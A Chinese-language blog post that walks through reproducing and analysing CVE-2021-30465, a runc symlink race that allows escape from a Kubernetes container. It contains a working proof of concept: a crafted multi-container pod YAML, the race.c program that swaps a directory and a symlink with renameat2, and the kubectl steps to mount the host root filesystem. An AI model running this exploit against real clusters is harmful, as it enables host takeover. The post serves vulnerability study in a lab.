作者:漫谈云原生
链接:https://www.gushiciku.cn/pl/gysF
来源:个人博客
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
前言
近日国外安全研究员发布了可导致容器逃逸的runc漏洞 POC,该漏洞影响runc 1.0.0-rc94以及之前的版本,对应CVE编号:CVE-2021-30465。该漏洞也出来有段时间了,因为时间和其他工作安排的原因,没有在POC爆出的第一时间就进行复现,很是惭愧,随着时间的推移,现在网上也已经有很多的复现文章,我也没时间去过多的看所有的文章,只是参考一些原作者及思路清晰的作为参考,同时结合快速、自动化等特征,希望能够在复现的过程中和别人有点不同的地方。
漏洞本质
runc 是一个CLI工具,用于根据OCI规范生成和运行容器,该工具被广泛的应用于各种虚拟化环境中,如Kubernets。
该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。黑客可利用该漏洞能将宿主机目录挂载到容器中,来实现容器逃逸。
在容器层面挂载卷和挂载目录是不一样的。挂载目录,对容器来说,只是简单把目录与容器的目录做映射绑定,而目录的权限还是在主机,需要用户自制维护,手动处理权限等问题。卷 (Volume) 是受控存储,挂载卷后是由容器引擎进行管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核心点)。而卷下面的所有操作就包含对存储、目录、软链接等等一系列。而CVE-2021-30465漏洞就是由于runc没有处理好卷下面的资源竞争的问题而导致的。
漏洞复现
环境部署
安装docker及k8s,这里我推荐绿盟开源的云原生攻防靶场,Metarget的名称来源于meta-
(元)加target
(目标,靶机),是一个脆弱基础设施自动化构建框架,主要用于快速、自动化搭建从简单到复杂的脆弱云原生靶机环境。
「绿盟科技研究通讯」上发布了一篇阐述Metarget的设计理念和技术目标的文章,见Metarget:云原生攻防靶场开源啦!。
基于metarget安装docker
1 | ./metarget gadget install docker --version 18.06.3 --domestic |
基于metarget安装k8s
1 | ./metarget gadget install k8s --version 1.16.5 --domestic |
安装完成后,执行下面的命令查看是否安装成功
1 | kubectl get nodes |
复现过程
本次漏洞因为存在一定的机率问题,使用docker等单个容器管理很难看到效果。故使用K8S的POD能力,对多个容器进行实验。
整体步骤如下:
1.首先需要创建多个容器,一个正常启动的容器c1,以及多个无法正常启动(即image为 donotexists.com/do/not:exist
)的容器c2-c20以及两个volume数据卷teset1和test2,分别挂载在各个容器中;
使用k8s创建POD的方法如下:
编辑yaml文件
1
vim k8s_attack_pod.yml
插入如下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
- name: c2
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
- name: c3
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
... // 省略c4-c20的容器
volumes:
- name: test1
emptyDir:
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"上面这个 yaml 文件内容,表示在这个 pod 里创建20个容器,通过 volumes 项可以看到,这20个容器共享两个目录,一个叫 test1,一个叫 test2。
对于容器c1,它使用镜像 ubuntu:latest,对于c2-c20,它使用镜像donotexists.com/do/not:exist,这是个不合法的镜像,所以在pod创建后,c2-c20 容器不会成功创建。只有c1会创建成功。
使用如下命令创建
1
kubectl create -f k8s_attack_pod.yml
也可以使用如下命令直接创建POD:(本文使用该方式)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
EOC
done
)
volumes:
- name: test1
emptyDir:
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"
EOF
创建后的POD如下所示。
查看POD创建是否成功:可以看到创建了20个POD,却只有一个成功了;
1 | kubectl get pods |
2、然后准备 一个race.c,并编译成race二进制文件
race程序的功能就是将参数1传进来的文件修改为参数2传进来的文件,在调用renameat2前,会将参数2设置为一个指向参数3传进来目录的软连接。
编辑race.c文件
1
vim race.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* musl libc does not define RENAME_EXCHANGE */
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1];
char *name2 = argv[2];
char *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0) {
perror("Error open CWD");
exit(EXIT_FAILURE);
}
if (mkdir(name1, 0755) < 0) {
perror("mkdir failed");
//do not exit
}
if (symlink(linkdest, name2) < 0) {
perror("symlink failed");
//do not exit
}
while (1)
{
int rc = syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
}使用如下命令生成可执行文件
1
gcc race.c -O3 -o race
3、等待c1容器正常启动之后,将 race
copy至c1中
1 | kubectl cp race -c c1 attack:/test1/ |
4、并且在c1中生成 /test2/test2
链接文件,指向根目录 /
(这里软链接的文件名务必和数据卷名字相同)
1 | kubectl exec -ti pod/attack -c c1 -- bash |
5、然后在c1容器中启动 race
二进制
1 | cd test1 |
这里的作用就是起了四个进程,创建 mnt-tmpX
软链接,指向 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
,然后通过系统调用 renameat2
不断交换 mntX
和 mnt-tmpX
两个文件。
这里就是不断的将 mntX 修改为 mnt-tmpX,
而 mnt-tmpX是指向 /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/目录的软连接。
6、然后新开一个终端,将原先c2-c20的容器镜像设置回一个正常的容器镜像即可(即让c2-c20容器正常启动)
1 | for c in {2..20}; do |
此时能看到attack这个pod中的容器全部正常启动
7、然后查看是否逃逸成功,可以发现没有成功
1 | for c in {2..20}; do |
8、至此,我还没找到原因,这是从别人博客里面粘贴过来的图,应该是会有一部分容器的 /test1/zzz
会被指向宿主机的根目录,逃逸成功的——没搞懂我的环境为什么不可以:(,是否与内核版本,何种版本有关系,之后再尝试几次吧~
1 | for c in {2..20}; do |
漏洞分析
漏洞原理
该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用“filepath-securejoin”库来解析任何符号链接并确保解析的目标在容器根目录中。
runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法,下面是这个函数的描述
1 | // Note that the guarantees provided by this function only apply if the path |
正如描述所言,这里存在竞争条件。:)
runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验通过的目标目录中。
但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。
逃逸流程
可以看出这应该是一个和条件竞争相关的漏洞,因此我们可以简化一下这个流程,来讨论一下逃逸成功的情况。
首先要了解一点,runc在挂载 volumes 时是不允许将软链接挂载至容器中的,因为runc会跟随软链接指向的地址,将宿主机上的目录挂载至容器中。
因此runc会经过一个 securejoin.SecureJoinVFS()
的函数,先对要挂载的目录进行check,然后再进行mount操作。在这期间就会形成一个先后时间差,从而产生条件竞争。从而可能会发生跟随软链接的行为,将宿主机上的目录挂载至容器中,从而产生逃逸。
知道这一点之后,再来看下POC是如何利用这一点的。
首先要确保攻击container(c1)和恶意创建的container都挂载了相同的volumes(test1和test2)
1、c1在test1数据卷下生成一个 mntX
以及一个指向 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
的 mnt-tmpX
软链接,然后不断交换 mntX
和 mnt-tmpX
。并且创建 /test2/test2
指向根目录。
这里的 $MY_POD_UID
虽然是在启动时注入的,但实际上可以通过 /proc/self/mountinfo
来获取
以及这个 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
实际上就是宿主机上当前pod的数据卷目录
2、然后当其余容器正常启动时,就会先去挂载test1数据卷到 /test1
目录下,然后挂载test2至 /test1/mntX
中
由于共享一个数据卷的原因,c1就会不断更换当前容器的 /test/mntX
和 /test1/mnt-tmpX
。
因而在test2挂载至 /test1/mntX
时,一开始 securejoin.SecureJoinVFS
检查时是一个正常的文件,于是通过了检测,进行mount操作。
但是在mount操作时 /test1/mntX
被更换成了一个指向 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
的软链接。
于是在宿主机上本来是将进行如下操作
1 | mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX") |
跟随软链接之后就变成了
1 | mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/") |
于是相当于test2数据卷覆盖了整个 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
目录,因此再挂载test2数据卷到 /test1/zzz
目录时,就会进行如下操作
1 | mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz") |
由于之前c1容器创建了 /test2/test2
指向根目录,因此这里的 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
其实就是一个指向当前宿主机根目录的软链接,于是以上操作就变成了。(这也是为什么要创建和数据卷同名的软链接文件)
1 | mount("/", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz") |
从而将宿主机根目录挂载到了容器的 /test1/zzz
中,实现了容器逃逸。
漏洞利用
K8S 没有让我们控制挂载源,但我们可以完全控制挂载的目标,所以诀窍是在 K8S 卷路径上挂载一个包含符号链接的目录, 让下一个挂载使用这个新源 ,并且让我们可以访问节点根文件系统。
poc中yaml文件中的配置
1 | volumeMounts: |
可以看到上述配置会连续挂载test2到不同的目录。
runc 执行以下指令时
1 | MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX) |
如果我们race程序执行幸运的话,当我们调用时SecureJoin(),mntX是一个目录,当我们调用mount()时,mntX是一个符号链接,这相当于
1 | MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/) |
因为之前 ln -s / /test2/test2
的关系
文件系统现在是这样
1 | MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> / |
这里解释一下上面这种变化,本来/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2内部如下
1 | ls -al /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 |
在进行 mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)
操作之后, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
就相当于成了 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
,中间的一个test2目录被去掉了
当我们做最后的挂载时
1 | MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz) |
相当于
1 | mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz) |
一切顺利的话,逃逸成功!
总结
目前看来只使用docker基本没有攻击场景,需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。
而且因为是利用竞争条件来进行利用的,有很大概率失败,我本地测试同一个pod里放了20个容器,能成功逃逸一个。
poc的利用方法是将c2+容器使用的镜像先设置为无效的镜像,待c1内布置好再更新合法的镜像给c2+;如果没有更新镜像的能力,也可以将c2+的镜像设置为很大的镜像或者延迟加载,要做到c1布置好后才进行c2+的容器生成,才有机会进行漏洞利用。
参考文献
- http://blog.champtar.fr/runc-symlink-CVE-2021-30465/
- https://www.gushiciku.cn/pl/gPyn
- https://www.gushiciku.cn/pl/gysF
- https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f
- https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r
- https://github.com/cyphar/filepath-securejoin/blob/40f9fc27fba074f2e2eebb3f74456b4c4939f4da/join.go#L57-L60